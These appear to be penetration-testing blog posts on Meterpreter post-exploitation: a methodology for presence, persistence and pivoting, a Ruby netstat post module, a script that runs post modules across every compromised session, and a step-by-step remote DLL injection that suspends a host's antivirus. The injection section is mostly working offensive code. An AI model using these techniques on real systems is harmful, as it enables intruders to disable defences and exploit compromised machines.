Presence, Persistence, and Pivoting

Everyone does things differently, and explaining what goes through an attackers head when they get a shell is virtually impossible and even more so to generalize into a methodology, but I’ve tried to do that with the “3 ‘P’s of Post Exploitation” and they are in a certain order for a reason but certainly up to circumstance to what order is best.

The first P is Presence. It is first because the attacker needs to get a sense of what he/she has got before they move on. It plays a crucial part in the other two ‘P’s, making them much stealthier or easier. Many times I’ve seen people jump from box to box and totally miss that what they were looking for was on the first one. So “Presence” is all about discovering what you (the attacker) has already. This has many levels and the order of which the attacker checks them and how is arbitrary as well, but they should have at the very least a check list of categories to check on. Here are some to think about:

File System:
Knowing “where” to look is tough but in each section below we’ll go into known good places to check and ways to search for files and folders with interesting names and extensions

OS:
Proxy settings, Group Policy settings, login scripts, MOTD, User lists (net user and /etc/passwd). Knowing how the system and attacker has compromised is a crucial piece to understanding how it communicates and works as a piece to the network.

RAM:
Mostly known for pulling hashes and credentials out of it, there are a lot of other interesting things that reside solely in memory

Media:
CDs, DVDs, NFS mounts, SMB mounts, USB sticks. These are often bypassed and forgotten during an attack but can hold the keys to the kingdom

Network:
Routes, ARP entries, netstat are pretty common to check, but broadcast messages, listeners, and IPv6 are less so.

Permissions and Credentials:
This is the obvious one but there is usually a mountain of data as even TinyCore linux has hundreds of files, each with their own permissions. This category extends past the borders of the others but important to single out as a separate step.
Persistence is achieved at varying levels depending on what the attacker is trying to survive and what the attacker is willing to give up on the stealth side. Staying in memory pretty much kills the attackers chance of surviving a reboot for instance. Tactics to survive a rebuild or revert are also very different. Persistence can also come in the form of simple authentication, if the attacker has a password and it nets him/her code execution or access to the data they are after then that’s all they need. Special focus should be applied to the information gathering section of penetration tests or red team engagements in regards to places that require authentication.

Pivoting simple means extending the attackers current access, and can mean anything from connecting to a remote NFS mount to the attacker PSEXEC-ing their Meterpreter payload onto another box that they have administrative access to. This is the last stage because concentration on the previous two is hard to do in the adrenaline high of initial access.

Honorable Mention (the mysterious 4th “P”) Privilege Escalation is not part of the Trio because ( then there would be 4 and I wouldn’t know what to call it) while it’s a regular step performed by attackers, it’s something that usually gets too much emphasis. _You do not always need Domain Admin access to access the “crown jewels”_ .These highly privileged accounts should be assumed to be extremely monitored and coveted. (a.k.a. adding a new user to the Domain Admins group is like lighting your hair on fire and running in the front door of the targets office building screeming “h4x!!”)

Netstat Post Module for Meterpreter

{submitting it to MSF via pull request here: https://github.com/rapid7/metasploit-framework/pull/538 }

Added to trunk: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/tcpnetstat.rb

I promised this one a while ago, sorry for the delay. This only does TCP, it'd be trivial to do UDP as well but never really found anything interesting and actively going on on the UDP side. It's real simple, first we've gotta add the GetTcpTable function to railgun:

session.railgun.add_function('iphlpapi', 'GetTcpTable', 'DWORD', [

['PBLOB', 'pTcpTable', 'out'],

['PDWORD', 'pdwSize', 'inout'],

['BOOL', 'bOrder', 'in']

])

Then gauge the size of the table:

getsize = session.railgun.iphlpapi.GetTcpTable(4,4,true)

buffersize = getsize['pdwSize']

Run the call again with the correct buffer size:

tcptable = session.railgun.iphlpapi.GetTcpTable(buffersize,buffersize,true)

Then it's all just parsing the result. Also pretty straight forward. First we get the number of entries which is held in the first 4 bytes, then just parse the MIB_TCPTABLE one MIB_TCPROW at a time (translating the state to something readable):

def parse_tcptable(buffer)

  entries = buffer[0,4].unpack("V*")[0]

  print_status("Total TCP Entries: #{entries}")

  rtable = Rex::Ui::Text::Table.new(

    'Header' => 'Routing Table',

    'Indent' => 2,

    'Columns' => ['STATE', 'LHOST', 'LPORT', 'RHOST', 'RPORT']

  )

  offset = 4

  (1..entries).each do

    x = {}

    x[:state] = case buffer[(offset + 0), 4].unpack("V*")[0]

      when 1

        'CLOSED'

      when 2

        'LISTEN'

      when 3

        'SYN_SENT'

      when 4

        'SYN_RCVD'

      when 5

        'ESTABLISHED'

      when 6

        'FIN_WAIT1'

      when 7

        'FIN_WAIT2'

      when 8

        'CLOSE_WAIT'

      when 9

        'CLOSING'

      when 10

        'LAST_ACK'

      when 11

        'TIME_WAIT'

      when 12

        'DELETE_TCB'

      else

        'UNDEFINED'

      end

    x[:lhost] = Rex::Socket.addr_itoa(buffer[(offset + 4), 4].unpack("N")[0])

    x[:lport] = buffer[(offset + 8), 4].unpack("n")[0]

    x[:rhost] = Rex::Socket.addr_itoa(buffer[(offset + 12), 4].unpack("N")[0])

    if x[:state] == "LISTEN"

      x[:rport] = "_"

    else

    x[:rport] = buffer[(offset + 16), 4].unpack("n")[0]

    end

  offset = offset + 20

  rtable << [x[:state], x[:lhost], x[:lport], x[:rhost], x[:rport]]

  end

  print_status(rtable.to_s)

end

Run POST Modules On All Sessions

Jcran recently blogged about an easy way to run a post module on all sessions:

http://blog.pentestify.com/simple-framework-domain-token-scanner

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  run_single("run")
  sleep 1
end

You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.

Thinking back to http://blog.metasploit.com/2010/03/automating-metasploit-console.html and my rapid file PSEXEC resource file, we know we can run ruby inside of resource files with the <ruby> tag.

Save the following as runall.rc somewhere where you'll remember:

framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  print_status("Running #{active_module.fullname} against session #{session.first}")
  run_single("run")
  sleep 1
end

Then when you want to run a POST module against every session you have you simply do:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> resource runall.rc
[*] Running post/windows/gather/enum_domain_tokens on session 1

Update on Sunday, November 6, 2011 at 3:02PM by Rob Fuller

A commenter noticed an error in the coding for cross compatibility. The following should work better across versions:

framework.sessions.each_key do |session|
  run_single("set SESSION #{session}")
  print_status("Running #{active_module.fullname} against session #{session}")
  run_single("run")
  sleep 1
end

The Dirty Little Secrets They Didn't Teach You In Pentesting Class - Video

Remote DLL Injection with Meterpreter

Recently Didier Stevens wrote 'Suspender.dll' which is a DLL that will suspend a process and all of it's child processes after a delay. 60 seconds is it's default but you can rename the DLL to add a number (as such 'Suspender10.dll' for 10 seconds) to make the delay whatever you wish. You can find the blog post and download here: http://blog.didierstevens.com/2011/04/27/suspender-dll/

Jonathan Cran and I had the same idea, as I'm sure many others did as well. This might work against AntiVirus setups that protect themselves from being killed or their services stopped.

I still stand by my original claim that just removing it is easier (Blog Post: Silently Uninstall SEP). However that might be something the user notices (A little shield disappearing).

Well, I didn't know how to do this with meterpreter so a bit of google fu landed me on: http://www.codeproject.com/KB/threads/winspy.aspx which has 3 different ways to attack the 2nd of which used a DLL (score!)

Using IRB within a meterpreter shell I started using Railgun (because once you know something sometimes its easy not too look for other solutions)

I start off setting up some variables after I've uploaded Suspender.dll:

pid = 1436
sizeofsuspend = 52376
pathtosuspend = "C:\\Docume~1\\Administrator\\Desktop\\Suspender10.dll"

Next up we need to open a handle on the target process:

handle = client.railgun.kernel32.OpenProcess(PROCESS_ALL_ACCESS,false,pid)["return"]

With the handle we allocate some memory in the remote process for our DLL to live in:

allocatedmem = client.railgun.kernel32.VirtualAllocEx(handle,nil,sizeofsuspend,MEM_COMMIT,PAGE_READWRITE)["return"]

Writing that DLL to memory isn't much harder: (this and the previous step is the wrong way to do things as we'll see later)

client.railgun.kernel32.WriteProcessMemory(handle,allocatedmem,pathtosuspend,sizeofsuspend,nil)

Here is the hard part. We have to somehow figure out the address LoadLibraryA in the remote processes memory space, accounting for ASLR then pass it the location in memory where our DLL is hiding. Yah, I couldn't figure this one out, here is the best I did:

client.railgun.kernel32.CreateRemoteThread(handle,nil,0,allocatedmem,pathtosuspend,0,nil)

Then I got a friendly reminder by HD that most of this was built into meterpreter already so all that railgun nastness boils down to someting a lot simpler. Set the variables again:

pid = 1436
pathtosuspend = "C:\\Docume~1\\Administrator\\Desktop\\Suspender10.dll"

But this time we are going to use the loadlibrary payload that just got added to Metasploit Framework in r12765. We generate the payload with it pointing at our Suspender DLL:

pay = client.framework.payloads.create("windows/loadlibrary")
pay.datastore['DLL'] = pathtosuspend
pay.datastore['EXITFUNC'] = 'thread'
raw = pay.generate

Open the process, this time with Rex:

targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

Allocate the memory in the remote process write the payload (not our DLL) into that space:

mem = targetprocess.memory.allocate(raw.length + (raw.length % 1024))
targetprocess.memory.write(mem, raw)

And finally create the remote thread.. MUCH easier (The power of Rex even over Railgun)

targetprocess.thread.create(mem, 0)

And 10 seconds later our AV and all it's children processes stop. Suspended by Didier's Suspender.DLL. Thanks to HD for the slap in the head that I was doing things the wrong way and the 1 AM update to the framework that made this possible.